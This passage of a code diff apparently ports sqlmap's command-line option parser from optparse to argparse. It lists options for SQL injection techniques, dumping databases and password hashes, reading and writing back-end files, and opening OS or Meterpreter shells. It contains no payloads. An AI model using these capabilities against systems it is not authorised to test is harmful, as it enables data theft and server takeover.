\"%s\")" % defaults.tech) + techniques.add_argument("--technique", dest="technique", + help="SQL injection techniques to use (default \"%s\")" % defaults.technique) - techniques.add_option("--time-sec", dest="timeSec", type="int", - help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) + techniques.add_argument("--time-sec", dest="timeSec", type=int, + help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) - techniques.add_option("--union-cols", dest="uCols", - help="Range of columns to test for UNION query SQL injection") + techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", + help="Disable the statistical model for detecting the delay") - techniques.add_option("--union-char", dest="uChar", - help="Character to use for bruteforcing number of columns") + techniques.add_argument("--union-cols", dest="uCols", + help="Range of columns to test for UNION query SQL injection") - techniques.add_option("--union-from", dest="uFrom", - help="Table to use in FROM part of UNION query SQL injection") + techniques.add_argument("--union-char", dest="uChar", + help="Character to use for bruteforcing number of columns") - techniques.add_option("--dns-domain", dest="dnsDomain", - help="Domain name used for DNS exfiltration attack") + techniques.add_argument("--union-from", dest="uFrom", + help="Table to use in FROM part of UNION query SQL injection") - techniques.add_option("--second-url", dest="secondUrl", - help="Resulting page URL searched for second-order response") + techniques.add_argument("--union-values", dest="uValues", + help="Column values to use for UNION query SQL injection") - techniques.add_option("--second-req", dest="secondReq", - help="Load second-order HTTP request from file") + techniques.add_argument("--dns-domain", dest="dnsDomain", + help="Domain name used for DNS exfiltration attack") + + techniques.add_argument("--second-url", dest="secondUrl", + help="Resulting page URL searched for second-order response") + + techniques.add_argument("--second-req", dest="secondReq", + help="Load second-order HTTP request from file") # Fingerprint options - fingerprint = OptionGroup(parser, "Fingerprint") + fingerprint = parser.add_argument_group("Fingerprint") - fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true", - help="Perform an extensive DBMS version fingerprint") + fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", + help="Perform an extensive DBMS version fingerprint") # Enumeration options - enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements") + enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables") + + enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", + help="Retrieve everything") - enumeration.add_option("-a", "--all", dest="getAll", action="store_true", - help="Retrieve everything") + enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", + help="Retrieve DBMS banner") - enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true", - help="Retrieve DBMS banner") + enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", + help="Retrieve DBMS current user") - enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true", - help="Retrieve DBMS current user") + enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", + help="Retrieve DBMS current database") - enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true", - help="Retrieve DBMS current database") + enumeration.add_argument("--hostname", dest="getHostname", action="store_true", + help="Retrieve DBMS server hostname") - enumeration.add_option("--hostname", dest="getHostname", action="store_true", - help="Retrieve DBMS server hostname") + enumeration.add_argument("--is-dba", dest="isDba", action="store_true", + help="Detect if the DBMS current user is DBA") - enumeration.add_option("--is-dba", dest="isDba", action="store_true", - help="Detect if the DBMS current user is DBA") + enumeration.add_argument("--users", dest="getUsers", action="store_true", + help="Enumerate DBMS users") - enumeration.add_option("--users", dest="getUsers", action="store_true", - help="Enumerate DBMS users") + enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", + help="Enumerate DBMS users password hashes") - enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true", - help="Enumerate DBMS users password hashes") + enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", + help="Enumerate DBMS users privileges") - enumeration.add_option("--privileges", dest="getPrivileges", action="store_true", - help="Enumerate DBMS users privileges") + enumeration.add_argument("--roles", dest="getRoles", action="store_true", + help="Enumerate DBMS users roles") - enumeration.add_option("--roles", dest="getRoles", action="store_true", - help="Enumerate DBMS users roles") + enumeration.add_argument("--dbs", dest="getDbs", action="store_true", + help="Enumerate DBMS databases") - enumeration.add_option("--dbs", dest="getDbs", action="store_true", - help="Enumerate DBMS databases") + enumeration.add_argument("--tables", dest="getTables", action="store_true", + help="Enumerate DBMS database tables") - enumeration.add_option("--tables", dest="getTables", action="store_true", - help="Enumerate DBMS database tables") + enumeration.add_argument("--columns", dest="getColumns", action="store_true", + help="Enumerate DBMS database table columns") - enumeration.add_option("--columns", dest="getColumns", action="store_true", - help="Enumerate DBMS database table columns") + enumeration.add_argument("--schema", dest="getSchema", action="store_true", + help="Enumerate DBMS schema") - enumeration.add_option("--schema", dest="getSchema", action="store_true", - help="Enumerate DBMS schema") + enumeration.add_argument("--count", dest="getCount", action="store_true", + help="Retrieve number of entries for table(s)") - enumeration.add_option("--count", dest="getCount", action="store_true", - help="Retrieve number of entries for table(s)") + enumeration.add_argument("--dump", dest="dumpTable", action="store_true", + help="Dump DBMS database table entries") - enumeration.add_option("--dump", dest="dumpTable", action="store_true", - help="Dump DBMS database table entries") + enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", + help="Dump all DBMS databases tables entries") - enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", - help="Dump all DBMS databases tables entries") + enumeration.add_argument("--search", dest="search", action="store_true", + help="Search column(s), table(s) and/or database name(s)") - enumeration.add_option("--search", dest="search", action="store_true", - help="Search column(s), table(s) and/or database name(s)") + enumeration.add_argument("--comments", dest="getComments", action="store_true", + help="Check for DBMS comments during enumeration") - enumeration.add_option("--comments", dest="getComments", action="store_true", - help="Check for DBMS comments during enumeration") + enumeration.add_argument("--statements", dest="getStatements", action="store_true", + help="Retrieve SQL statements being run on DBMS") - enumeration.add_option("-D", dest="db", - help="DBMS database to enumerate") + enumeration.add_argument("-D", dest="db", + help="DBMS database to enumerate") - enumeration.add_option("-T", dest="tbl", - help="DBMS database table(s) to enumerate") + enumeration.add_argument("-T", dest="tbl", + help="DBMS database table(s) to enumerate") - enumeration.add_option("-C", dest="col", - help="DBMS database table column(s) to enumerate") + enumeration.add_argument("-C", dest="col", + help="DBMS database table column(s) to enumerate") - enumeration.add_option("-X", dest="exclude", - help="DBMS database identifier(s) to not enumerate") + enumeration.add_argument("-X", dest="exclude", + help="DBMS database identifier(s) to not enumerate") - enumeration.add_option("-U", dest="user", - help="DBMS user to enumerate") + enumeration.add_argument("-U", dest="user", + help="DBMS user to enumerate") - enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", - help="Exclude DBMS system databases when enumerating tables") + enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", + help="Exclude DBMS system databases when enumerating tables") - enumeration.add_option("--pivot-column", dest="pivotColumn", - help="Pivot column name") + enumeration.add_argument("--pivot-column", dest="pivotColumn", + help="Pivot column name") - enumeration.add_option("--where", dest="dumpWhere", - help="Use WHERE condition while table dumping") + enumeration.add_argument("--where", dest="dumpWhere", + help="Use WHERE condition while table dumping") - enumeration.add_option("--start", dest="limitStart", type="int", - help="First dump table entry to retrieve") + enumeration.add_argument("--start", dest="limitStart", type=int, + help="First dump table entry to retrieve") - enumeration.add_option("--stop", dest="limitStop", type="int", - help="Last dump table entry to retrieve") + enumeration.add_argument("--stop", dest="limitStop", type=int, + help="Last dump table entry to retrieve") - enumeration.add_option("--first", dest="firstChar", type="int", - help="First query output word character to retrieve") + enumeration.add_argument("--first", dest="firstChar", type=int, + help="First query output word character to retrieve") - enumeration.add_option("--last", dest="lastChar", type="int", - help="Last query output word character to retrieve") + enumeration.add_argument("--last", dest="lastChar", type=int, + help="Last query output word character to retrieve") - enumeration.add_option("--sql-query", dest="query", - help="SQL statement to be executed") + enumeration.add_argument("--sql-query", dest="sqlQuery", + help="SQL statement to be executed") - enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true", - help="Prompt for an interactive SQL shell") + enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", + help="Prompt for an interactive SQL shell") - enumeration.add_option("--sql-file", dest="sqlFile", - help="Execute SQL statements from given file(s)") + enumeration.add_argument("--sql-file", dest="sqlFile", + help="Execute SQL statements from given file(s)") # Brute force options - brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks") + brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") - brute.add_option("--common-tables", dest="commonTables", action="store_true", - help="Check existence of common tables") + brute.add_argument("--common-tables", dest="commonTables", action="store_true", + help="Check existence of common tables") - brute.add_option("--common-columns", dest="commonColumns", action="store_true", - help="Check existence of common columns") + brute.add_argument("--common-columns", dest="commonColumns", action="store_true", + help="Check existence of common columns") + + brute.add_argument("--common-files", dest="commonFiles", action="store_true", + help="Check existence of common files") # User-defined function options - udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions") + udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") - udf.add_option("--udf-inject", dest="udfInject", action="store_true", - help="Inject custom user-defined functions") + udf.add_argument("--udf-inject", dest="udfInject", action="store_true", + help="Inject custom user-defined functions") - udf.add_option("--shared-lib", dest="shLib", - help="Local path of the shared library") + udf.add_argument("--shared-lib", dest="shLib", + help="Local path of the shared library") # File system options - filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system") + filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") - filesystem.add_option("--file-read", dest="fileRead", - help="Read a file from the back-end DBMS file system") + filesystem.add_argument("--file-read", dest="fileRead", + help="Read a file from the back-end DBMS file system") - filesystem.add_option("--file-write", dest="fileWrite", - help="Write a local file on the back-end DBMS file system") + filesystem.add_argument("--file-write", dest="fileWrite", + help="Write a local file on the back-end DBMS file system") - filesystem.add_option("--file-dest", dest="fileDest", - help="Back-end DBMS absolute filepath to write to") + filesystem.add_argument("--file-dest", dest="fileDest", + help="Back-end DBMS absolute filepath to write to") # Takeover options - takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system") + takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") - takeover.add_option("--os-cmd", dest="osCmd", - help="Execute an operating system command") + takeover.add_argument("--os-cmd", dest="osCmd", + help="Execute an operating system command") - takeover.add_option("--os-shell", dest="osShell", action="store_true", - help="Prompt for an interactive operating system shell") + takeover.add_argument("--os-shell", dest="osShell", action="store_true", + help="Prompt for an interactive operating system shell") - takeover.add_option("--os-pwn", dest="osPwn", action="store_true", - help="Prompt for an OOB shell, Meterpreter or VNC") + takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", + help="Prompt for an OOB shell, Meterpreter or VNC") - takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", - help="One click prompt for an OOB shell, Meterpreter or VNC") + takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", + help="One click prompt for an OOB shell, Meterpreter or VNC") - takeover.add_option("--os-bof", dest="osBof", action="store_true", - help="Stored procedure buffer overflow " + takeover.add_argument("--os-bof", dest="osBof", action="store_true", + help="Stored procedure buffer overflow " "exploitation") - takeover.add_option("--priv-esc", dest="privEsc", action="store_true", - help="Database process user privilege escalation") + takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", + help="Database process user privilege escalation") - takeover.add_option("--msf-path", dest="msfPath", - help="Local path where Metasploit Framework is installed") + takeover.add_argument("--msf-path", dest="msfPath", + help="Local path where Metasploit Framework is installed") - takeover.add_option("--tmp-path", dest="tmpPath", - help="Remote absolute path of temporary files directory") + takeover.add_argument("--tmp-path", dest="tmpPath", + help="Remote absolute path of temporary files directory") # Windows registry options - windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry") + windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") - windows.add_option("--reg-read", dest="regRead", action="store_true", - help="Read a Windows registry key value") + windows.add_argument("--reg-read", dest="regRead", action="store_true", + help="Read a Windows registry key value") - windows.add_option("--reg-add", dest="regAdd", action="store_true", - help="Write a Windows registry key value data") + windows.add_argument("--reg-add", dest="regAdd", action="store_true", + help="Write a Windows registry key value data") - windows.add_option("--reg-del", dest="regDel", action="store_true", - help="Delete a Windows registry key value") + windows.add_argument("--reg-del", dest="regDel", action="store_true", + help="Delete a Windows registry key value") - windows.add_option("--reg-key", dest="regKey", - help="Windows registry key") + windows.add_argument("--reg-key", dest="regKey", + help="Windows registry key") - windows.add_option("--reg-value", dest="regVal", - help="Windows registry key value") + windows.add_argument("--reg-value", dest="regVal", + help="Windows registry key value") - windows.add_option("--reg-data", dest="regData", - help="Windows registry key value data") + windows.add_argument("--reg-data", dest="regData", + help="Windows registry key value data") - windows.add_option("--reg-type", dest="regType", - help="Windows registry key value type") + windows.add_argument("--reg-type", dest="regType", + help="Windows registry key value type") # General options - general = OptionGroup(parser, "General", "These options can be used to set some general working parameters") + general = parser.add_argument_group("General", "These options can be used to set some general working parameters") + + general.add_argument("-s", dest="sessionFile", + help="Load session from a stored (.sqlite) file") + + general.add_argument("-t", dest="trafficFile", + help="Log all HTTP traffic into a textual file") + + general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true", + help="Abort data retrieval on empty results") + + general.add_argument("--answers", dest="answers", + help="Set predefined answers (e.g. \"quit=N,follow=N\")") + + general.add_argument("--base64", dest="base64Parameter", + help="Parameter(s) containing Base64 encoded data") - general.add_option("-s", dest="sessionFile", - help="Load session from a stored (.sqlite) file") + general.add_argument("--base64-safe", dest="base64Safe", action="store_true", + help="Use URL and filename safe Base64 alphabet (RFC 4648)") - general.add_option("-t", dest="trafficFile", - help="Log all HTTP traffic into a textual file") + general.add_argument("--batch", dest="batch", action="store_true", + help="Never ask for user input, use the default behavior") - general.add_option("--batch", dest="batch", action="store_true", - help="Never ask for user input, use the default behavior") + general.add_argument("--binary-fields", dest="binaryFields", + help="Result fields having binary values (e.g. \"digest\")") - general.add_option("--binary-fields", dest="binaryFields", - help="Result fields having binary values (e.g. \"digest\")") + general.add_argument("--check-internet", dest="checkInternet", action="store_true", + help="Check Internet connection before assessing the target") - general.add_option("--check-internet", dest="checkInternet", action="store_true", - help="Check Internet connection before assessing the target") + general.add_argument("--cleanup", dest="cleanup", action="store_true", + help="Clean up the DBMS from sqlmap specific UDF and tables") - general.add_option("--crawl", dest="crawlDepth", type="int", - help="Crawl the website starting from the target URL") + general.add_argument("--crawl", dest="crawlDepth", type=int, + help="Crawl the website starting from the target URL") - general.add_option("--crawl-exclude", dest="crawlExclude", - help="Regexp to exclude pages from crawling (e.g. \"logout\")") + general.add_argument("--crawl-exclude", dest="crawlExclude", + help="Regexp to exclude pages from crawling (e.g. \"logout\")") - general.add_option("--csv-del", dest="csvDel", - help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) + general.add_argument("--csv-del", dest="csvDel", + help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) - general.add_option("--charset", dest="charset", - help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") + general.add_argument("--charset", dest="charset", + help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") - general.add_option("--dump-format", dest="dumpFormat", - help="Format of dumped data (CSV (default), HTML or SQLITE)") + general.add_argument("--dump-file", dest="dumpFile", + help="Store dumped data to a custom file") - general.add_option("--encoding", dest="encoding", - help="Character encoding used for data retrieval (e.g. GBK)") + general.add_argument("--dump-format", dest="dumpFormat", + help="Format of dumped data (CSV (default), HTML or SQLITE)") - general.add_option("--eta", dest="eta", action="store_true", - help="Display for each output the estimated time of arrival") + general.add_argument("--encoding", dest="encoding", + help="Character encoding used for data retrieval (e.g. GBK)") - general.add_option("--flush-session", dest="flushSession", action="store_true", - help="Flush session files for current target") + general.add_argument("--eta", dest="eta", action="store_true", + help="Display for each output the estimated time of arrival") - general.add_option("--forms", dest="forms", action="store_true", - help="Parse and test forms on target URL") + general.add_argument("--flush-session", dest="flushSession", action="store_true", + help="Flush session files for current target") - general.add_option("--fresh-queries", dest="freshQueries", action="store_true", - help="Ignore query results stored in session file") + general.add_argument("--forms", dest="forms", action="store_true", + help="Parse and test forms on target URL") - general.add_option("--har", dest="harFile", - help="Log all HTTP traffic into a HAR file") + general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", + help="Ignore query results stored in session file") - general.add_option("--hex", dest="hexConvert", action="store_true", - help="Use hex conversion during data retrieval") + general.add_argument("--gpage", dest="googlePage", type=int, + help="Use Google dork results from specified page number") - general.add_option("--output-dir", dest="outputDir", action="store", - help="Custom output directory path") + general.add_argument("--har", dest="harFile", + help="Log all HTTP traffic into a HAR file") - general.add_option("--parse-errors", dest="parseErrors", action="store_true", - help="Parse and display DBMS error messages from responses") + general.add_argument("--hex", dest="hexConvert", action="store_true", + help="Use hex conversion during data retrieval") - general.add_option("--save", dest="saveConfig", - help="Save options to a configuration INI file") + general.add_argument("--output-dir", dest="outputDir", action="store", + help="Custom output directory path") - general.add_option("--scope", dest="scope", - help="Regexp to filter targets from provided proxy log") + general.add_argument("--parse-errors", dest="parseErrors", action="store_true", + help="Parse and display DBMS error messages from responses") - general.add_option("--test-filter", dest="testFilter", - help="Select tests by payloads and/or titles (e.g. ROW)") + general.add_argument("--preprocess", dest="preprocess", + help="Use given script(s) for preprocessing (request)") - general.add_option("--test-skip", dest="testSkip", - help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + general.add_argument("--postprocess", dest="postprocess", + help="Use given script(s) for postprocessing (response)") - general.add_option("--update", dest="updateAll", action="store_true", - help="Update sqlmap") + general.add_argument("--repair", dest="repair", action="store_true", + help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + + general.add_argument("--save", dest="saveConfig", + help="Save options to a configuration INI file") + + general.add_argument("--scope", dest="scope", + help="Regexp for filtering targets") + + general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true", + help="Skip heuristic detection of vulnerabilities") + + general.add_argument("--skip-waf", dest="skipWaf", action="store_true", + help="Skip heuristic detection of WAF/IPS protection") + + general.add_argument("--table-prefix", dest="tablePrefix", + help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix) + + general.add_argument("--test-filter", dest="testFilter", + help="Select tests by payloads and/or titles (e.g. ROW)") + + general.add_argument("--test-skip", dest="testSkip", + help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + + general.add_argument("--time-limit", dest="timeLimit", type=float, + help="Run with a time limit in seconds (e.g. 3600)") + + general.add_argument("--unsafe-naming", dest="unsafeNaming", action="store_true", + help="Disable escaping of DBMS identifiers (e.g. \"user\")") + + general.add_argument("--web-root", dest="webRoot", + help="Web server document root directory (e.g. \"/var/www\")") # Miscellaneous options - miscellaneous = OptionGroup(parser, "Miscellaneous") + miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") - miscellaneous.add_option("-z", dest="mnemonics", - help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") + miscellaneous.add_argument("-z", dest="mnemonics", + help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") - miscellaneous.add_option("--alert", dest="alert", - help="Run host OS command(s) when SQL injection is found") + miscellaneous.add_argument("--alert", dest="alert", + help="Run host OS command(s) when SQL injection is found") - miscellaneous.add_option("--answers", dest="answers", - help="Set predefined answers (e.g. \"quit=N,follow=N\")") + miscellaneous.add_argument("--beep", dest="beep", action="store_true", + help="Beep on question and/or when vulnerability is found") - miscellaneous.add_option("--beep", dest="beep", action="store_true", - help="Beep on question and/or when SQL injection is found") + miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", + help="Check for missing (optional) sqlmap dependencies") - miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", - help="Clean up the DBMS from sqlmap specific UDF and tables") + miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", + help="Disable console output coloring") - miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true", - help="Check for missing (optional) sqlmap dependencies") + miscellaneous.add_argument("--disable-hashing", dest="disableHashing", action="store_true", + help="Disable hash analysis on table dumps") - miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", - help="Disable console output coloring") + miscellaneous.add_argument("--gui", dest="gui", action="store_true", + help="Experimental Tkinter GUI") - miscellaneous.add_option("--gpage", dest="googlePage", type="int", - help="Use Google dork results from specified page number") + miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", + help="Display list of available tamper scripts") - miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", - help="Make a thorough testing for a WAF/IPS protection") + miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", + help="Disable logging to a file") - miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true", - help="Display list of available tamper scripts") + miscellaneous.add_argument("--no-truncate", dest="noTruncate", action="store_true", + help="Disable console output truncation (e.g. long entr...)") - miscellaneous.add_option("--mobile", dest="mobile", action="store_true", - help="Imitate smartphone through HTTP User-Agent header") + miscellaneous.add_argument("--offline", dest="offline", action="store_true", + help="Work in offline mode (only use session data)") - miscellaneous.add_option("--offline", dest="offline", action="store_true", - help="Work in offline mode (only use session data)") + miscellaneous.add_argument("--purge", dest="purge", action="store_true", + help="Safely remove all content from sqlmap data directory") - miscellaneous.add_option("--purge", dest="purge", action="store_true", - help="Safely remove all content from sqlmap data directory") + miscellaneous.add_argument("--results-file", dest="resultsFile", + help="Location of CSV results file in multiple targets mode") - miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true", - help="Skip heuristic detection of WAF/IPS protection") + miscellaneous.add_argument("--shell", dest="shell", action="store_true", + help="Prompt for an interactive sqlmap shell") - miscellaneous.add_option("--smart", dest="smart", action="store_true", - help="Conduct thorough tests only if positive heuristic(s)") + miscellaneous.add_argument("--tmp-dir", dest="tmpDir", + help="Local directory for storing temporary files") - miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", - help="Prompt for an interactive sqlmap shell") + miscellaneous.add_argument("--tui", dest="tui", action="store_true", + help="Experimental ncurses TUI") - miscellaneous.add_option("--tmp-dir", dest="tmpDir", - help="Local directory for storing temporary files") + miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", + help="Adjust options for unstable connections") - miscellaneous.add_option("--web-root", dest="webRoot", - help="Web server document root directory (e.g. \"/var/www\")") + miscellaneous.add_argument("--update", dest="updateAll", action="store_true", + help="Update sqlmap") - miscellaneous.add_option("--wizard", dest="wizard", action="store_true", - help="Simple wizard interface for beginner users") + miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", + help="Simple wizard interface for beginner users") # Hidden and/or experimental options - parser.add_option("--crack", dest="hashFile", - help=SUPPRESS_HELP) -# help="Load and crack hashes from a file (standalone)") + parser.add_argument("--crack", dest="hashFile", + help=SUPPRESS) # "Load and crack hashes from a file (standalone)" + + parser.add_argument("--dummy", dest="dummy", action="store_true", + help=SUPPRESS) + + parser.add_argument("--yuge", dest="yuge", action="store_true", + help=SUPPRESS) + + parser.add_argument("--murphy-rate", dest="murphyRate", type=int, + help=SUPPRESS) + + parser.add_argument("--debug", dest="debug", action="store_true", + help=SUPPRESS) - parser.add_option("--dummy", dest="dummy", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--deprecations", dest="deprecations", action="store_true", + help=SUPPRESS) - parser.add_option("--murphy-rate", dest="murphyRate", type="int", - help=SUPPRESS_HELP) + parser.add_argument("--disable-multi", dest="disableMulti", action="store_true", + help=SUPPRESS) - parser.add_option("--disable-precon", dest="disablePrecon", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", + help=SUPPRESS) - parser.add_option("--disable-stats", dest="disableStats", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--profile", dest="profile", action="store_true", + help=SUPPRESS) - parser.add_option("--profile", dest="profile", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--localhost", dest="localhost", action="store_true", + help=SUPPRESS) - parser.add_option("--force-dbms", dest="forceDbms", - help=SUPPRESS_HELP) + parser.add_argument("--force-dbms", dest="forceDbms", + help=SUPPRESS) - parser.add_option("--force-dns", dest="forceDns", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--force-dns", dest="forceDns", action="store_true", + help=SUPPRESS) - parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--force-partial", dest="forcePartial", action="store_true", + help=SUPPRESS) - parser.add_option("--force-threads", dest="forceThreads", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", + help=SUPPRESS) - parser.add_option("--smoke-test", dest="smokeTest", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", + help=SUPPRESS) - parser.add_option("--live-test", dest="liveTest", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", + help=SUPPRESS) - parser.add_option("--stop-fail", dest="stopFail", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", + help=SUPPRESS) - parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP) + parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", + help=SUPPRESS) + + parser.add_argument("--disable-json", dest="disableJson", action="store_true", + help=SUPPRESS) # API options - parser.add_option("--api", dest="api", action="store_true", - help=SUPPRESS_HELP) - - parser.add_option("--taskid", dest="taskid", help=SUPPRESS_HELP) - - parser.add_option("--database", dest="database", help=SUPPRESS_HELP) - - parser.add_option_group(target) - parser.add_option_group(request) - parser.add_option_group(optimization) - parser.add_option_group(injection) - parser.add_option_group(detection) - parser.add_option_group(techniques) - parser.add_option_group(fingerprint) - parser.add_option_group(enumeration) - parser.add_option_group(brute) - parser.add_option_group(udf) - parser.add_option_group(filesystem) - parser.add_option_group(takeover) - parser.add_option_group(windows) - parser.add_option_group(general) - parser.add_option_group(miscellaneous) + parser.add_argument("--api", dest="api", action="store_true", + help=SUPPRESS) - # Dirty hack to display longer options without breaking into two lines - def _(self, *args): - retVal = parser.formatter._format_option_strings(*args) - if len(retVal) > MAX_HELP_OPTION_LENGTH: - retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal - return retVal + parser.add_argument("--taskid", dest="taskid", + help=SUPPRESS) - parser.formatter._format_option_strings = parser.formatter.format_option_strings - parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser)) + parser.add_argument("--database", dest="database", + help=SUPPRESS) + + # Dirty hack to display longer options without breaking into two lines + if hasattr(parser, "formatter"): + def _(self, *args): + retVal = parser.formatter._format_option_strings(*args) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal + return retVal + + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + else: + def _format_action_invocation(self, action): + retVal = self.__format_action_invocation(action) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal + return retVal + + parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation + parser.formatter_class._format_action_invocation = _format_action_invocation # Dirty hack for making a short option '-hh' - option = parser.get_option("--hh") - option._short_opts = ["-hh"] - option._long_opts = [] + if hasattr(parser, "get_option"): + option = parser.get_option("--hh") + option._short_opts = ["-hh"] + option._long_opts = [] + else: + for action in get_actions(parser): + if action.option_strings == ["--hh"]: + action.option_strings = ["-hh"] + break # Dirty hack for inherent help message of switch '-h' - option = parser.get_option("-h") - option.help = option.help.capitalize().replace("this help", "basic help") + if hasattr(parser, "get_option"): + option = parser.get_option("-h") + option.help = option.help.capitalize().replace("this help", "basic help") + else: + for action in get_actions(parser): + if action.option_strings == ["-h", "--help"]: + action.help = action.help.capitalize().replace("this help", "basic help") + break _ = [] - prompt = False advancedHelp = True extraHeaders = [] - tamperIndex = None + auxIndexes = {} # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ - checkDeprecatedOptions(argv) + checkOldOptions(argv) - prompt = "--sqlmap-shell" in argv + if "--gui" in argv: + from lib.utils.gui import runGui - if prompt: - parser.usage = "" - cmdLineOptions.sqlmapShell = True + runGui(parser) + + raise SqlmapSilentQuitException - _ = ["x", "q", "exit", "quit", "clear"] + elif "--tui" in argv: + from lib.utils.tui import runTui - for option in parser.option_list: - _.extend(option._long_opts) - _.extend(option._short_opts) + runTui(parser) - for group in parser.option_groups: - for option in group.option_list: - _.extend(option._long_opts) - _.extend(option._short_opts) + raise SqlmapSilentQuitException + + elif "--shell" in argv: + _createHomeDirectories() + + parser.usage = "" + cmdLineOptions.sqlmapShell = True - autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) + commands = set(("x", "q", "exit", "quit", "clear")) + commands.update(get_all_options(parser)) + + autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands) while True: command = None + prompt = "sqlmap > " try: - command = raw_input("sqlmap-shell> ").strip() - command = getUnicode(command, encoding=sys.stdin.encoding) + # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170) + command = _input(prompt).strip() except (KeyboardInterrupt, EOFError): print() raise SqlmapShellQuitException + command = re.sub(r"(?i)\Anew\s+", "", command or "") + if not command: continue elif command.lower() == "clear": @@ -806,8 +982,9 @@ def _(self, *args): elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': - 